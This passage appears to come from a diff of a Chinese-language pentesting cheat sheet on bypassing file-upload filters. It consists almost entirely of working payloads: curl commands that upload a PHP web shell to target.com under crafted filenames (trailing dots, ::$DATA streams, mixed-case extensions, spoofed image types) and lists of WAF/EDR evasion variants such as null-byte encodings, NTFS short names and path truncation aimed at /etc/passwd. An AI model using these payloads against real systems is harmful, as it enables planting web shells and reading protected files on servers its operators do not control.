curl "http://target.com/upload" -F "file=@shell.php;filename=$payload"
|
|
1302
|
+
|
|
1303
|
+
# 2. 点号截断(Windows):
|
|
1304
|
+
# Windows忽略文件名末尾的点号和空格
|
|
1305
|
+
curl -F "file=@shell.php;filename=shell.php." "http://target.com/upload"
|
|
1306
|
+
curl -F "file=@shell.php;filename=shell.php " "http://target.com/upload"
|
|
1307
|
+
curl -F "file=@shell.php;filename=shell.php::$DATA" "http://target.com/upload"
|
|
1308
|
+
|
|
1309
|
+
# 3. 大小写绕过:
|
|
1310
|
+
curl -F "file=@shell.pHP;type=image/jpeg" "http://target.com/upload"
|
|
1311
|
+
```
|
|
1312
|
+
|
|
1313
|
+
**WAF/EDR 绕过变体:**
|
|
1314
|
+
|
|
1315
|
+
**1. 路径长度截断**
|
|
1316
|
+
_利用文件系统路径最大长度限制,超长路径导致后缀被截断_
|
|
1317
|
+
```
|
|
1318
|
+
# PHP路径长度截断(PHP < 5.3, 超过4096字符)
|
|
1319
|
+
../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
|
|
1320
|
+
|
|
1321
|
+
# 超长扩展名截断
|
|
1322
|
+
test.php.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
|
1323
|
+
|
|
1324
|
+
# 点号截断(Windows MAX_PATH=260)
|
|
1325
|
+
test.php...........................................................................
|
|
1326
|
+
```
|
|
1327
|
+
|
|
1328
|
+
**2. Windows特殊文件名技巧**
|
|
1329
|
+
_利用Windows NTFS文件系统特性(ADS流/短文件名/特殊字符处理)绕过扩展名检测_
|
|
1330
|
+
```
|
|
1331
|
+
# 点空格点截断(Windows NTFS)
|
|
1332
|
+
test.php. . . .
|
|
1333
|
+
test.php::$DATA
|
|
1334
|
+
test.php::$DATA.jpg
|
|
1335
|
+
|
|
1336
|
+
# ADS流隐藏扩展名
|
|
1337
|
+
test.php::$INDEX_ALLOCATION
|
|
1338
|
+
test.asp;.jpg
|
|
1339
|
+
test.asp%00.jpg
|
|
1340
|
+
|
|
1341
|
+
# Windows短文件名(8.3格式)
|
|
1342
|
+
TESTPH~1.PHP
|
|
1343
|
+
SHELL~1.PHP
|
|
1344
|
+
```
|
|
1345
|
+
|
|
1346
|
+
**3. 替代空字节表示**
|
|
1347
|
+
_使用不同编码方式表示空字节或终止符,绕过WAF对%00的检测规则_
|
|
1348
|
+
```
|
|
1349
|
+
# 不同编码的空字节
|
|
1350
|
+
test.php%00.jpg
|
|
1351
|
+
test.php\x00.jpg
|
|
1352
|
+
test.php\0.jpg
|
|
1353
|
+
test.php\u0000.jpg
|
|
1354
|
+
|
|
1355
|
+
# URL编码变体
|
|
1356
|
+
test.php%2500.jpg # 双重编码空字节
|
|
1357
|
+
test.php%u0000.jpg # UTF-16空字节
|
|
1358
|
+
|
|
1359
|
+
# 特殊终止符
|
|
1360
|
+
test.php%0d.jpg # 回车符
|
|
1361
|
+
test.php%0a.jpg # 换行符
|
|
1362
|
+
test.php%1a.jpg # EOF标记
|
|
1363
|
+
```
|
|
1364
|
+
|
|
1365
|
+
---
|